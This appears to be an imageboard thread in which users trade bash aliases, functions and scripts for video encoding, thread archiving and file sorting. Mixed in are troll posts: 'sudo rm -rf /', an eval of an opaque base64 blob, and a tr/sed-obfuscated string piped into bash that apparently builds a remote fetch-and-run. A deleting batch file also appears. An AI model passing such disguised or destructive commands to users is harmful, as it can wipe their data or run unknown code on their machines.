Now that’s how you compile a Java file, mommas dearest
Matthew Anderson
Try to do an alias that does myfunc(){ echo foo "$@" bar}
Jaxson Nguyen
Nice! Thanks :)
Easton Bailey
ok but in that example it doesn't seem any less convenient than just running the regular command anyway
Easton Powell
#!/bin/basheval $(echo "Tk9URV9CMD0zMTsgTk9URV9DMT0zMzsgTk9URV9DUzE9MzU7IE5PVEVfRDE9Mzc7IE5PVEVfRFMxPTM5OyBOT1RFX0UxPTQxOyBOT1RFX0YxPTQ0OyBOT1RFX0ZTMT00NjsgTk9URV9HMT00OTsgTk9URV9HUzE9NTI7IE5PVEVfQTE9NTU7IE5PVEVfQVMxPTU4OyBOT1RFX0IxPTYyOyBOT1RFX0MyPTY1OyBOT1RFX0NTMj02OTsgTk9URV9EMj03MzsgTk9URV9EUzI9Nzg7IE5PVEVfRTI9ODI7IE5PVEVfRjI9ODc7IE5PVEVfRlMyPTkzOyBOT1RFX0cyPTk4OyBOT1RFX0dTMj0xMDQ7IE5PVEVfQTI9MTEwOyBOT1RFX0FTMj0xMTc7IE5PVEVfQjI9MTIzOyBOT1RFX0MzPTEzMTsgTk9URV9DUzM9MTM5OyBOT1RFX0QzPTE0NzsgTk9URV9EUzM9MTU2OyBOT1RFX0UzPTE2NTsgTk9URV9GMz0xNzU7IE5PVEVfRlMzPTE4NTsgTk9URV9HMz0xOTY7IE5PVEVfR1MzPTIwODsgTk9URV9BMz0yMjA7IE5PVEVfQVMzPTIzMzsgTk9URV9CMz0yNDc7IE5PVEVfQzQ9MjYyOyBOT1RFX0NTND0yNzc7IE5PVEVfRDQ9Mjk0OyBOT1RFX0RTND0zMTE7IE5PVEVfRTQ9MzMwOyBOT1RFX0Y0PTM0OTsgTk9URV9GUzQ9MzcwOyBOT1RFX0c0PTM5MjsgTk9URV9HUzQ9NDE1OyBOT1RFX0E0PTQ0MDsgTk9URV9BUzQ9NDY2OyBOT1RFX0I0PTQ5NDsgTk9URV9DNT01MjM7IE5PVEVfQ1M1PTU1NDsgTk9URV9ENT01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OSAkcGlkOyAgICAgfSAmPiAvZGV2L251bGw7IH07IHdoaWxlIHRydWU7IGRvICAgICBmb3IoKGk9MDtpPCR7I3VuZGVyd29ybGRbQF19O2krKykpOyAgICAgZG8gICAgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d) yep that's a one liner
Michael Jenkins
sudo rm -rf /
Elijah Garcia
>not using echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{
Wyatt Thomas
why would you want to unironically triforce?
Jason Johnson
function _copy () { cat > /tmp/paste; }function _paste () { cat /tmp/paste; }function calc() { awk "BEGIN{print $@}"; }# show man page for word under/right before cursor# upon exiting man, the line is in the state you left it infunction man_on_word { TMP_LN=$READLINE_LINE TMP_POS=$READLINE_POINT # if in between words, move position to the first one while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" = " " ]; do true $((--TMP_POS)) done while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" != " " ] do true $((--TMP_POS)) done if [ 0 -ne $TMP_POS ]; then true $((++TMP_POS));fi TMP_WORD="${READLINE_LINE:$TMP_POS}" TMP_WORD="${TMP_WORD%% *}" man "$TMP_WORD"}bind -x '"\C-k":man_on_word'bind -m vi-command -x '"K":man_on_word' # for set -o vi# ~/bin/ffconv:#!/bin/bash# use like: find /foo/bar -name "*.webm" -print0 | xargs -P -0 -I{} ffconv -e mp3 -o /the/output/dir "{}" -q:a 7# the arguments after "{}" are passed directly to ffmpeg# has to be separate file, because of xargsfunction runff() { echo @@@@@@@@@@@@@@@@@@@@@@@@@@ echo -- ffmpeg "$@" echo @@@@@@@@@@@@@@@@@@@@@@@@@@ ffmpeg -hide_banner "$@"}tag=0ext=mp3dir='.'while [ $# -gt 0 ]; do case "$1" in (-e) ext="$2"; shift 2;; (-o) dir="$2"; shift 2;; (-t) tag=1; shift 1;; (*) break;;esac;doneif [ $# -lt 1 ]; then echo "usage ${0##*/} [-e ] [-o ] [-t] [ [, ..] ]" exit 1fifile=$1shiftif [ "$tag" = 1 ]; then t=$(grep -o -P '$(\d+)'
Aiden Fisher
Rate my WebM script:#!/usr/bin/env shtrap finish 1 2 14 15finish (){ command rm -f -- "${PASSLOG}-0.log" unset encode error finish help \ INPUT LOSSLESS NAME OPTARG OUTPUT OVERWRITE PASSLOG QUALITY THREADS TMP0 TMP1 exit $1}help (){ command cat &2 finish 1}encode (){ printf 'Pass #%d...\n' $1 case "$1" in 1) TMP0='-y' TMP1='/dev/null' ;; 2) TMP0="$OVERWRITE" TMP1="$OUTPUT" ;; esac command ffmpeg -v error -stats $TMP0 \ -i "$INPUT" -map 0:v:0 -map_chapters -1 -map_metadata -1 \ -sws_flags lanczos+accurate_rnd+full_chroma_int+bitexact \ -c:v libvpx-vp9 -b:v 0 -auto-alt-ref 1 -lag-in-frames 25 \ -tile-columns 0 -frame-parallel 0 -aq-mode none -row-mt 1 \ -cpu-used 0 -deadline best \ -threads $THREADS -crf $QUALITY -lossless $LOSSLESS \ -pass $1 -passlogfile "$PASSLOG" -f ivf -bitexact -- "$TMP1" return $?}NAME="`basename -- "$0"`"THREADS=`grep -c ^processor /proc/cpuinfo`QUALITY=30LOSSLESS=0while getopts hfq:t: TMP0; do case "$TMP0" in h) help ;; f) OVERWRITE='-y' ;; q) case "$OPTARG" in 0) QUALITY=0 LOSSLESS=1 ;; [1-9]|[1-5][0-9]|6[0-3]) QUALITY=$OPTARG ;; *) error 'incorrect encoding quality' ;; esac ;; t) case "$OPTARG" in [1-9]|[1-9][0-9]) if [ $OPTARG -gt $THREADS ]; then error 'not enough CPU cores' else THREADS=$OPTARG fi ;; *) error 'incorrect number of threads' ;; esac ;; esacdoneshift $((OPTIND-1))unset TMP0 OPTARGif [ -z "$1" ]; then helpelse INPUT="$1"fiif [ -z "$2" ]; then OUTPUT="${INPUT%.*}.ivf"else OUTPUT="$2"fiPASSLOG="`basename -- "$OUTPUT"`"PASSLOG="${XDG_CACHE_HOME:-/tmp}/${PASSLOG%.*}"encode 1 && encode 2finish $?
Christian Hall
@ECHO OFF rem quick delete fetish porn folder del c:\USERS\user\progra~1\text\library\fap del c:\panic.bat shutdown -r
I hacked this together about a year ago, and it somehow works #!/bin/bashmp3dir=""containsElement () { local e match="$1" shift for e; do [[ "$e" == "$match" ]] && return 0; done return 1}mydir="$(pwd)"for userdir in "$@"do echo "$userdir" musicdir="" if [[ "$userdir" = /* ]]; then musicdir="$userdir" else musicdir="${mydir}/${userdir}" fi unset songs declare -a songs if [[ -d "${musicdir}" ]]; then while read -r -d $'\0'; do songs+=("$REPLY") done <
Alexander Sanders
Surprisingly benign, was expecting 'rm -rf ~ 2> /dev/null &'
Nathaniel Howard
I haven't posted here in awhile but here's a improved version of my external viewer script for w3m. depends on guile, mupdf, mpv, & wget. I keep meaning to write a downloader in guile as a replacement for wget but haven't gotten around to it yet. regardless it's quite robust and gets the job done. #!/usr/local/bin/guile -s!#(use-modules (ice-9 regex)) ; for match-string and regexp-substitute(define (run-temporary url . proc) ; passes each file in a directory as a operand to a function. (define (file-do proc path) (define dir (opendir path)) (do ((entry (readdir dir) (readdir dir))) ((eof-object? entry)) (if (not (or (equal? entry ".") (equal? entry ".."))) (proc entry))) (closedir dir)) ; deletes all temporary files, the temporary directory, and then exits. (define (safe-close path) (file-do delete-file path) (rmdir path) (exit)) ; creates a temporary directory in a race condition free manner. (define (mkdtemp path) (catch 'system-error (lambda () (mkdir path)) (lambda return (let ((errno (system-error-errno return))) (if (= errno EEXIST) (mkdtemp (tmpnam)))))) path) (define path (mkdtemp (tmpnam))) ; SIGHUP, SIGINT, & SIGQUIT are not needed due to being daemonized. (sigaction SIGTERM (lambda (x) (safe-close path)) 0) (chdir path) ; ftp is NOT PORTABLE replace with module gnutls and networking stack? ; or otherwise just replace with wget. (system* "wget" url) (file-do (lambda (x) (apply system* (append proc (list x)))) path) (safe-close path))(define (daemonize) ; double fork to prevent zombies on system-v derivatives. (if (not (= (primitive-fork) 0)) (primitive-_exit 0) (setsid)) (if (not (= (primitive-fork) 0)) (primitive-_exit 0)) ; close old stdin, stdout, & stderr (close-fdes 0) (close-fdes 1) (close-fdes 2) ; redirect stdin, stdout, & stderr to /dev/null. dup->fdes isn't strictly ; necessary here because open automatically uses the lowest fde and we just ; closed the lowest three, but it makes things a bit more clear, and it's a ; good habit to have in case of threading. (dup->fdes (open "/dev/null" O_RDONLY) 0) (dup->fdes (open "/dev/null" O_WRONLY) 1) (dup->fdes (open "/dev/null" O_WRONLY) 2))(daemonize)(let ((still ".png|.jpg|.jpeg|.bmp|.pdf|.epub") (loops ".gif|.webm") (gallery "imgur.com/gallery/") (album "imgur.com/a/") (imgur "imgur") (url (cadr (command-line)))) (cond ((string-match still url) (run-temporary url "mupdf")) ((string-match loops url) (run-temporary url "mpv" "--loop=inf")) ((string-match gallery url) (run-temporary (regexp-substitute #f (string-match "gallery" url) 'pre "a" 'post "/zip") "mupdf")) ((string-match album url) (run-temporary (string-append url "/zip") "mupdf")) ((string-match imgur url) (run-temporary (string-append url ".jpg") "mupdf")) (else (system* "mpv" "--ytdl-format=webm+bestaudio/720p/720p60" "--slang=en" url)))) And here's the script I use for screenshots, depends on ffmpeg and guile. once again robust and gets the job done, bar having to change screen size for different platforms. #!/usr/local/bin/guile -s!#(define (screen-file return) (define (screen-file-iter number) (define file-name (string-append (passwd:dir (getpwuid (getuid))) "/screen" (number->string number) ".png")) (catch 'system-error (lambda () (open file-name (logior O_CREAT O_EXCL))) (lambda response (if (= (system-error-errno response) EEXIST) (screen-file-iter (+ number 1)) (begin (display response) (exit))))) (return file-name)) (screen-file-iter 1))(system* "ffmpeg" "-loglevel" "-8" "-f" "x11grab" "-video_size" "1366x768" "-i" ":0" "-vframes" "1" "-y" (call/cc screen-file)) I'm also considering rewriting my podcatcher shell script to use guile's XML parser and adding support for youtube channel RSS feeds so I can subscribe to a couple gardening channels I watch instead of manually visiting the RSS page every few weeks. I'll post it here when it's done if there is interest.
Aiden Adams
requesting a good wget/curl script to dl files from threads
Ethan Torres
That really isn't a hard thing to do. I think i have one somewhere but basically all you need to do is
Camden Perez
Not exclusively for files, but I use this to archive the whole thread:wget -bEHkprl 'inf' -So 'wget.log' \ --accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${B}/(res/${T}\.html|threads\.json)|main\.js)|(${B}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \ --warc-cdx --warc-file="8ch.${B}.${T}" -nH -P "8ch.${B}.${T}" -- "8ch.net/${B}/res/${T}.html" Where ${B} is the board directory (e.g. "tech") and ${T} is the thread number (e.g. "1003160").
And my wgetrc looks like this:check_certificate = offignore_length = oninet4_only = onrestrict_file_names = nocontrolretry_connrefused = onrobots = offtimestamping = ontries = inftrust_server_names = onuser_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Dylan Diaz
Thanks, user.
Adam Phillips
ignore previous post, i made a bad Anyway, the real writeup, still lazy but fuck it.
If you wanted a robust way to do this in the future which works across imageboards you could pretty easily use the common API used by all imageboards to get the json data then parse and download from there.
Ryan Jenkins
This is a script I've used for quite a while to organize the files in my download directory by their mime type.
#!/bin/bashdie () { echo -e "\033[0;31m$*\033[m" >&2 exit 1}DIR=${1:-.}if [ ! -d "$DIR" ]; then die "Not a valid dir you dumbutt!"fifor file in "$DIR"/* ; do if [ -f "$file" ]; then mime=$(file -ib "$file" | cut -f1 -d ';') if [ ! -d "$DIR/$mime" ]; then mkdir -p "$DIR/$mime" || die "Couldn't make the directory $mime. Check if it already exists!" fi mv "$file" "$DIR/$mime" || die "Moving the file $file to directory $mime failed!" elif [ -d "$file" ]; then echo "Skipping a directory $file" fidone
Ryan Gutierrez
die () { echo -e "\033[0;31m$*\033[m" >&2 exit 1} Don't do that, use tput(1). If you redirect stderr to a file, it'll be stupid.
if [ ! -d "$DIR" ]; then die "Not a valid dir you dumbutt!"fi Should use [ ! -d "$DIR" ] && die message for short stuff like this
-mime=$(file -ib "$file" | cut -f1 -d ';')+mime=$(file -b --mime-type -- "$file") Don't forget to use -- to avoid shit with filenames starting with a dash. At your current level, I suggest you use shellcheck.
alias foofunc='function _foofunc(){ echo foo "$@" bar; }; _foofunc'$foofunc such an aliasfoo such an alias bar
Cooper Powell
not sure why you don't base64 the audio through aplay instead of speaker-test, or even use the -w option with speaker-test to play a wav file from stdin.
Cooper Bell
What's the point of an ALIAS in this case? You're not aliasing a name to anything, you're just recreating a function everytime for no reason. God, you're retarded.
Luke Anderson
Using that .wgetrc reports an incompatibility with the timestamping setting: "WARC output does not work with timestamping, timestamping will be disabled."
I put it verbatim (including the .wgetrc settings) into a script #!/usr/bin/env bash#save as thread-archive and chmod u+x thread-archivewget -bEHkprl 'inf' -So 'wget.log' \ --accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${1}/(res/${2}\.html|threads\.json)|main\.js)|(${1}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \ --warc-cdx --warc-file="8ch.${1}.${2}" -nH -P "8ch.${1}.${2}" \-e 'check_certificate = off' \-e 'ignore_length = on' \-e 'inet4_only = on' \-e 'restrict_file_names = nocontrol' \-e 'retry_connrefused = on' \-e 'robots = off' \-e 'timestamping = on' \-e 'tries = inf' \-e 'trust_server_names = on' \-e 'user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' \-- "8ch.net/${1}/res/${2}.html" Add checks to suit. I did the above basics to test it. Works great btw. Thanks user.
Nolan Smith
OK. You can add unset if it makes you feel better. With an alias you can only use parameters at the end of the command, not within it. So defining a function is one way of getting around this, another is it invoke a subshell. ...ah fuck it, let me search for a source to spoonfeed you since you won't believe you're retarded anyway... That didn't take long, here you go: stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter
See the answer entitled "TL;DR: Do this instead" that sounds like me, but certainly not you faggot.
Jeremiah Walker
There's a misunderstanding. I meant why define an alias and not just the function itself in your config file?
Juan Flores
sure it is. lel.
we both know it doesn't need to be aliased if it is a function in a config file. If it is, it is more for a particular users convenience.
e.g. would see all such defined alias returned with $alias which may be preferable to confine such definitions to the alias set, rather than wading through the output of $declare -F for functions which often contains a much longer list.
Julian Brooks
Enlighten me. I was always looking for a better way than this messy regexp.
Ah, right, forgot about that. Thanks for reminding.
By the way, you don’t have to specify the .wgetrc options via the -e flag, unless you want to. All of them—with the exception for the robots option—have a corresponding flag. > “check_certificate = off” is --no-check-certificate > “ignore_length = on” is --ignore-length > “inte4_only = on” is -4 > “restrict_file_names = nocontrol” is --restrict-file-names=nocontrol > “retry_connrefused = on” is --retry-connrefused > “timestamping = on” is -N > “tries = inf” is -t inf > “trust_server_names = on” is --trust-server-names
Bentley Peterson
Thank you user, I was doing a quick test so used the -e than looking up each option.
I think he means the json equivalent for every thread, including this one for example, change the .html to .json 8ch.net/tech/res/1003160.json It is easier to parse. for specific content to grab.
Noah Brown
function mkcd() { mkdir -p $* cd $*}
Logan Price
>8ch.net/tech/res/1003160.json As I thought. Well, it might be easier to parse but you'll also have to turn it into something human-readable.
Isaiah Parker
This is exceedingly unlikely to work on account of my compiler being broken and me using a bunch of things I haven't used before, but this is more or less what I was thinking. I'll try to fix my compiler and get gnutls working on my machine so that I can test it and fix it. Might take a second, turns out openbsd, guile, and gnutls don't play very nice together. (use-modules (json)) ;; json-string->scm ;; github.com/aconchillo/guile-json(use-modules (web uri)) ;; uri parse functions(use-modules (web client)) ;; http-request(define-syntax download-images (syntax-rules () ((images-download scheme host path response) (map (lambda (post) (call-with-output-file (string-append (assoc-ref post "tis") "." (assoc-ref post "ext)) (lambda (file-port) (display (http-request (build-uri scheme #:host host #:path path)) file-port))) (assoc-ref response "posts")))))(let* ((uri (string->uri (cadr command-line))) (host (uri-host uri)) (path (split-and-decode-uri-path uri)) (board (car path)) (thread (string-split (car (last-pair path)) #\.)) (api-path (cons (list-head path (- (length path) 1)) (string-append thread ".json"))) (api-uri (build-uri (uri-scheme uri) #:host host #:path (encode-and-join-uri-path api-path))) (response (json-string->scm (http-request api-uri))) (mkdir thread) (chdir thread) (cond ((equal? host "www.4chan.org") (download-images (uri-scheme uri) "i.4cdn.org" (string-append "/" board "/" (assoc-ref post "tis") "." (assoc-ref post "ext")) response)) ((equal? host "www.8ch.net") (download-images (uri-scheme uri) "media.8ch.net" (string-append (assoc-ref post "tis") "." (assoc-ref post "ext")) response)) (else ;; vichan default (download-images (uri-scheme uri) host (string-append "/" board "/src/" (assoc-ref post "tis") "." (assoc-ref post "ext")) response))))
Liam Morris
what did I miss?
Adrian Morgan
I somehow read this as a scripting thread and not a shell thread, sorry for all the irrelevant posts. Anyway this is actually the third day I've been attempting to get gnutls to compile with the guile extentions to no avail, I'm considering looking into another implementation as OBSD and GNU just seem as though they weren't meant to mix to such a degree. I'll consider making another thread for scheme and post the finished thread file downloader there.
Cameron Ward
And I guess compiling the .class file again will turn it from bytecode into a real binary...
Logan Long
I'd just say fuck it, and alias every linux command to their windows equivalent and watch people lose their fucking minds.
There is an option to export as "Raw" but it results to big as fuck files. (1GB for a 10 second clip..) What do I need to modify to make it slice the clip without any re-encoding ? Or do you know an alternative for fast slicing clip with mpv ?
Samuel Wood
For example this : github.com/ozmartian/vidcutter cut the video without any re-encoding But it would be much better being able to do it with the previous script.
Gabriel Cruz
ffmpeg -i input.webm -ss 00:04:00 -t 180 -codec copy clip.webm will copy from 4 minutes for 180 seconds, i.e. clip.webm is 3 minute long clip, which starts at 4 minutes into the original input.webm
you can use -ss before the input for an approximate fast search through longer videos (like a 2hr movie) then -ss after also so it picks up a keyframe - otherwise it will look like shit, or be out of sync. ffmpeg -ss 01:00:00 -i input.webm -ss 00:04:00 -t 120 -codec copy clip.webm
would make a 2 minute clip starting 1 hour and 4 minutes into input.webm.
Zachary Kelly
I know about that thanks but it is not practical when I want to cut 10 slices on a video. I want to do it directly via mpv with a keyboard shortcut.
Aiden Morgan
wanted to post echoing that escape sequence that makes breaks your terminal to a point where it'll only displays hieroglyphs but it seems that I have to forgotten what the sequence was
Justin Gutierrez
=changing your terminal encoding. Sometimes it happens if you output a binary file to stdout.
UTF-8 encoding echo -n $'\e%G'
Reset it with reset stty sane You may have to use Ctrl+j sequence in place of Return key if it got remapped too.
Sebastian Lopez
It doesn't break babun though. Probably I have everything set to UTF-8 to begin with. I hope so at least. But yeah it was either that or some ancient sentinel character from the 70's/80's. Was reading a little more like a real word though.
Angel Cooper
*should make the terminal write backwards too
Cooper Baker
there's many escape codes the UTF-8 was but one example
brightness(){ sudo sh -c 'for f in /sys/class/backlight/*; do echo $(($(
Matthew Hall
alias head='sed 11q'
Sebastian Rivera
absolute autism
Thomas Adams
Make it a function at least.
Jose Gomez
temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(
Jordan Evans
▲ ▲ ▲
Hunter Flores
temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(
Jackson Lee
Interesting. I've used this from an earlier thread but yours is more accurate. temp=$(cat /sys/class/thermal/thermal_zone0/temp)temp=$(echo "scale=1;(${temp}/1000)" | bc)echo "${temp}°C"
Leo Gray
sea shells sea shells by the sea shore.
Caleb Adams
fix for amd devices
temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(
temps(){ for tempdevice in /sys/class/hwmon/*; do [ -f $tempdevice/temp1_input ] && echo "$(
Alexander Thompson
alias suicide='kill -9 $$' function doubleclick(){ xdg-open "$@"; }
Anthony Nelson
boy(){ x="${1:?}"; shift; y=("${@:?}") for i in "${y[@]}"; do man "${x}" \ | sed -n "s/.\\x08//g;/^\\s*${i}/,/^$/p" \ | fmt -w "${COLUMNS}" done}complete -c 'boy'$ boy grep -G -E -P -G, --basic-regexp Interpret PATTERN as a basic regular expression (BRE, see below). This is the default. -E, --extended-regexp Interpret PATTERN as an extended regular expression (ERE, see below). -P, --perl-regexp Interpret the pattern as a Perl-compatible regular expression (PCRE). This is experimental and grep -P may warn of unimplemented features.
Nifty idea, until you miss the option caveats written elsewhere in the text. If I need a refresher on an option I take it as an opportunity to learn/find better way of doing something. $grep --help
Jace Murphy
What's the proper procedure if my tput is BSD? Should I check for the existence of /usr/local/bin/tput and use that instead? Reason for asking is that tput on dflybsd (and probably other BSD) don't know anything about screen or tmux. $ which tput/usr/bin/tput$ echo -n Hi; tput ch 0; tput ce; echo Hello HiHello$ alias tput=/usr/local/bin/tput$ echo -n Hi; tput ch 0; tput ce; echo Hello Hello Also nice that ncurses' tput accepts terminfo capability names;
Carter Thomas
I don't know, just look at man 1p tput for the POSIX spec and whine to your OS maintainers if it doesn't comply.
echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash
Mason Brown
I figured so and it's what I've been using. I'd much rather run printf "Hello"; sleep 1; printf "\x1b[G\x1b[K\x1b[1;34mHi\x1b[m\n" than bringing tput into things.
Jacob Gutierrez
Set variables for the settings: Bold=$(tput bold) ;\Reg=$(tput sgr0) ;\echo "Regular and ${Bold}some bold${Reg} text"
Carter Thomas
Real simple function I use at work constantly: ```sgrep() { grep -i "$1" ~/.ssh/config }```
Never know when you'll need to send someone the connection details for a server.
Eli Jackson
Man, that's embarrassing. To make up for my shoddy markup here's a one liner I use for generating passwords for databases and shit where it doesn't matter if I can remember it or not:
# cd to the given filefunction cdf() { file=$(which "$*") if [[ -f "${file}" ]]; then cd "$(dirname "${file}")" else echo "'$*' does not exist." fi}# one-liner if bloat bothers youfunction cdf() { [[ -f "$(which "$*")" ]] && cd "$(dirname "$(which "$*")")" }
Cameron Davis
Both Arch and Gentoo are really suck! Actually, Ubuntu or Mint is better.
No it doesn't look like it. If you forgot to use sudo on a command, then it runs the last command (!!) with sudo (sudo !!) by simply typing "fuck".
Xavier Diaz
Because it doesn't work? ~$ alias fuck="sudo !!" ~$ alias fuckalias fuck="sudo " ~$ alias fuck='sudo !!' ~$ alias fuckalias fuck='sudo !!' ~$ fucksudo: !!: command not found
Landon Wright
Not in your shell it doesn't $echo foofoo$!!echo foofoo
Tyler Martin
Since you clearly did not read what I posted, let me type it out for you again: ~$ alias fuck="sudo !!"alias fuck="sudo "e.g. ~$ ls ~$ alias fuck="sudo !!"alias fuck="sudo ls"Running bash. The fucking fuck alias doesn't fucking work.
Jacob Collins
you may have to reference the history file directly then via an evaluation: $(history -p !!) will get the last command in the history (!!) and not run it, effectively it does the substitution dynamically when the alias is executed. Otherwise using the double quotes as you do is a static substitution done once when the alias is defined. alias fuck='sudo $(history -p !!)'Note: Use of apostrophes/single quotes (and not double quotes as you're using.)There is a significant difference in the shell interpretation.$alias fuck='sudo $(history -p !!)'$echo foofoo$fuckfoo$alias fuck="sudo $(history -p !!)"alias fuck="sudo $(history -p )"
Ethan Wright
if you want to do the command line meme of setting your alias you have to escape the explanation mark, absolutely low iq
Dylan Myers
y'all mother fuckers need to stop making scripts and reread the gnu's reference manual on bash. One you're probably interested in right now is tiltled "history expansion".